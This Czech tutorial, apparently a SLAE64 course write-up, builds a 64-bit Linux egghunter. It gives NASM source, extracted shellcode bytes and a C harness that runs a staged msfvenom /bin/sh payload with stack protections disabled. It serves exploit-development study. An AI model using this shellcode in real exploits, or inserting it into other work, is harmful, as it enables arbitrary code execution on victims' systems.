Ve třetím textu této 64bitové série bude demonstrována analýza shellcodu egghunteru a vytvoření funkčního dema, které bude konfigurovatelné pro různé payloady.
Jako referenční materiál pro 32bitový egghunter doporučuji tento zdroj: https://www.exploit-db.com/docs/18482
Egghunter je shaged shellcode, který se používá, když potřebujeme najít větší prostor v paměti pro uložení shellcodu. Egghunter musí být velmi krátký kód, který je schopný fungovat efektivně, protože prohledat celou PE je náročné na CPU. V egghunteru je uložen krátký 4 bytový řetězec, který musí být egghunterem nalezen v paměti 2x (pro zamezení kolize s egghunterem samotným). Egghunter může fungovat mnoha způsoby, pravděpodovně nejvhodnější implementace na Windows je pomocí syscallů NtDisplayString, nebo NtAccessCheck s provedenými malými modifikacemi. V tomto textu bude použit egghunter na Linux, který bude zneužívat syscall access a VAS. Jako zdroj budeme využívat výborný text od Skape.
- less /usr/include/x86_64-linux-gnu/asm/unistd_64.h
- #define __NR_access 21 = RAX = 15
- int access(const char *pathname, int mode)
- pathname = argument for address validation
- mode = accessibility check
; Filename: egghunter64.nasm
; Author: SLAE64-14209
global _start
section .text
egg equ 'W00T' ; for easy configuration
_start:
xor rsi, rsi ; zeroize RSI register
mov rdi, rsi ; start at 0x0
next_address:
or di,0xfff ; PAGE_SIZE -> RDI
inc rdi ; RDI + 1
next_step:
push 0x15
pop rax ; syscall access() 21
syscall
cmp al, 0xf2 ; EFAULT?
jz next_address ; if efault happens go back and start again
search:
mov eax, egg
dec al
scasd
jnz next_address
execution:
jmp rdi ; egg found
Celý nasm soubor můžete nalézt zde:
https://github.com/Pal1Sec/SLAE64/blob/master/Assignment%203/egghunter64.nasm
Soubor zkompilujeme:
- nasm -f elf64 -o egghunter64.o egghunter64.nasm
- ld egghunter64.o -o egghunter64
- objdump -d ./egghunter64 |grep ‘[0-9a-f]:’|grep -v ‘file’|cut -f2 -d:|cut -f1-6 -d’ ‘|tr -s ‘ ‘|tr ‘\t’ ‘ ‘|sed ‘s/ $//g’|sed ‘s/ /\\x/g’|paste -d ” -s |sed ‘s/^/”/’|sed ‘s/$/”/g’
“\x48\x31\xf6\x48\x89\xf7\x66\x81\xcf\xff\x0f\x48\xff\xc7\x6a\x15\x58\x0f\x05\x3c\xf2\x74\xef\xb8\x57\x30\x30\x54\xfe\xc8\xaf\x75\xed\xff\xe7”
Vytvoříme C soubor:
#include <stdio.h>
#include <string.h>
#define EGG "\x57\x30\x30\x54"
unsigned char egghunter[] = \
"\x48\x31\xf6\x48\x89\xf7\x66\x81\xcf\xff\x0f\x48\xff\xc7\x6a\x15\x58\x0f\x05\x3c\xf2\x74\xef\xb8\x57\x30\x30\x54\xfe\xc8\xaf\x75\xed\xff\xe7";
// msfvenom -p linux/x64/exec CMD=/bin/sh -f c (we can easily replace it with something else)
unsigned char shellcode[] = EGG EGG \
"\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00\x53"
"\x48\x89\xe7\x68\x2d\x63\x00\x00\x48\x89\xe6\x52\xe8\x08\x00"
"\x00\x00\x2f\x62\x69\x6e\x2f\x73\x68\x00\x56\x57\x48\x89\xe6"
"\x0f\x05";
int main()
{
printf("Egg Location: %p\n", shellcode);
printf("Egghunter size: %d\n", strlen(egghunter));
printf("Shellcode size: %d\n", strlen(shellcode));
int (*ret)() = (int(*)())egghunter;
ret();
}
A zkompilujeme:
- gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
Všechny použité soubory můžete nalézt zde: https://github.com/Pal1Sec/SLAE64